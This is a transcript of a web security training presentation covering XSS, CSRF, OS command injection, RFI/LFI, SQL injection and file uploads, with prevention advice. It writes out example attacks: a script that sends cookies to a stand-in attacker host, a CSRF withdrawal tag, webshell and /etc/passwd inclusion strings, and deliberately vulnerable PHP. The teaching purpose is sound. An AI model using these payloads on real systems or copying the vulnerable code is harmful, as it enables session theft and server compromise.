1 / 19

Lets Make our Web Applications Secure.

Learn about information security, vulnerabilities like XSS and CSRF, and prevention methods such as OS Commanding and RFI/LFI attacks. Protect your web applications effectively.

kaster
Download Presentation

Lets Make our Web Applications Secure.

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting

  2. What do you mean by Information Security?? Information securitymeans protecting information and information systems from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction. Consists of (C I A): * Confidentiality Ensuring that information is not accessed by unauthorized persons. * IntegrityEnsuring that information is not altered by unauthorized persons in a way that is not detectable by authorized users. * Authentication  Ensuring that users are the persons they claim to be.

  3. Security in Shopping Mall?? Browse Out IN

  4. Know your enemy?? • XSS vulnerability • CSRF vulnerability • path Traversal • null Byte • OS Commanding • Local File Inclusion (LFI) • Remote File Inclusion (RFI) • Information Disclosure • SQL Injection • file Upload

  5. XSS ?? • Persistent (Stored) • Non-Persistent • Non-Persistent Example: • http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT> • %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e • Persistent Example: • <SCRIPT> document.location= 'http://attackerhost.example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> http://ha.ckers.org/xss.html

  6. Prevent XSS (PHP way)?? • htmlentitiesConvert all applicable characters to HTML entities. • htmlspecialchars  Convert special characters to HTML entities. • strip_tags  Strip HTML and PHP tags from a string. http://w3af.sourceforge.net/ : detection tool http://www.parosproxy.org/ : detection tool http://www.xssed.com/

  7. Cross-site request forgery (CSRF)?? • One Click Attack • unauthorized commands are transmitted from a user machine that the website trusts. The following characteristics are common to CSRF: • Involve sites that rely on a user's identity • Exploit the site's trust in that identity • Trick the user's browser into sending HTTP requests to a target site • Involve HTTP requests that have side effects • <img src="http://bank.example.com/withdraw?account=gates&amount=1000000&for=sinha"> http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip

  8. Chances of CSRF?? Several things have to happen for cross-site request forgery to succeed: • The attacker must target either a site that doesn't check the referrer header (which is common) or a victim with a browser or plugin bug that allows referrer spoofing (which is rare). • The attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's e-mail address or password). • The attacker must determine the right values for all the form's or URL's inputs; if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail. • The attacker must lure the victim to a Web page with malicious code while the victim is logged in to the target site. http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip

  9. Rx CSRF?? • Requiring the client to provide authentication data in the same HTTP Request used to perform any operation with security implications (money transfer, etc) • Limiting the lifetime of session cookies • Checking the HTTP Referer header • Add unique token every time during transactions and generate and verify at server side. http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip

  10. OS Commanding?? • used for unauthorized execution of operating system commands • result of mixing trusted code and untrusted data • attack is possible when an application accepts untrusted input to build operating system commands in an insecure manner involving improper data sanitization, and/or improper calling of external programs • executed commands by an attacker will run with the same privileges of the component that executed the command. Sample: $month = $_GET['month']; $year = $_GET['year']; exec("cal $month $year", $result); print "<PRE>";foreach ($result as $r) { print "$r<BR>"; } print "</PRE>";

  11. Terrible RFI/LFI… Careful Please.. • Attack technique used to exploit "dynamic file include" mechanisms in web applications. • When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code. • RFI means executing remotely hosted malicious code at server level. • The attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, Javascript to steal the client session cookies). (LFI) • In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. • The PHP language has an allow_url_fopen directive, and if enabled it allows filesystem functions to use a URL which allows them to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability, all user input needs to be validated before being used

  12. Terrible RFI/LFI… Careful Please.. <?php $color = 'blue'; if (isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; include( $color . '.php' ); ?> <form method="get"> <select name="COLOR"> <option value="red">red</option> <option value="blue">blue</option> </select> <input type="submit"> </form> /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit /vulnerable.php?COLOR=/etc/passwd%00 http://w3af.sourceforge.net/

  13. SQL Injection.. • Many web applications take user input from a form • Often this user input is used literally in the construction of a SQL query submitted to a database. For example: • SELECT productdata FROM table WHERE productname = ‘user input product name’; • A SQL injection attack involves placing SQL statements in the user input • E.g. “Search GOLD OR ‘x’ = ‘x”. • This input is put directly into the SQL statement within the Web application: • SELECT prodinfo FROM prodtable WHERE prodname = ‘GOLD ‘ OR ‘x’ = ‘x’ • Attacker has now successfully caused the entire database to be returned http://w3af.sourceforge.net/

  14. SQL Injection.. • Hackers can : • Add new viagra ad in your website. • Delete your Database/tables/records. • Sell items for free. • Can sell your company information to others. • Can use USERs data for benefit (credit card information etc.) • Solution? • Check syntax of input for validity • Have length limits on input • Many SQL injection attacks depend on entering long strings • Scan query string for undesirable word combinations that indicate SQL statements (Insert,Drop,update, delete,select etc). • Limit database permissions and segregate users • Default error reporting often gives away information that is valuable for attackers (table name, field name, etc.). Configure properly. http://w3af.sourceforge.net/

  15. file Upload..Any problem? Mostly nowadays contains a file upload feature, which has a validation but can be used for a person to upload malicious script files and thereby take control of our server. As main countermeasures you can have in mind: • Checking the file size. • Deny execute permission on the directory where the files are uploaded. • Check MIME-TYPE. • Check the file extension. • Protecting the upload folder with .htaccess with –ExecCGI • If possible, upload the files in a directory outside the server root • Create a list of accepted mime-typesGenerate a random file name and add the previously generated extension • Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.

  16. Helpful tools ?? • http://wapiti.sourceforge.net/ • http://www.cirt.net/nikto2 • http://www.nessus.org/ • http://www.darknet.org.uk/2007/01/spike-proxy-application-level-security-assessment/

  17. References and Good reading • http://www.wikipedia.org/ • https://www.owasp.org/ • http://www.cert.org/ • http://www.cert-in.org.in/ • http://www.metasploit.com • http://www.infosecinstitute.com • http://www.pentestit.com • http://www.sans.org

  18. ????????? ANY QUESTIONS ??

  19. Want to contact later ? Dipankar.Sinha@hungama.com

More Related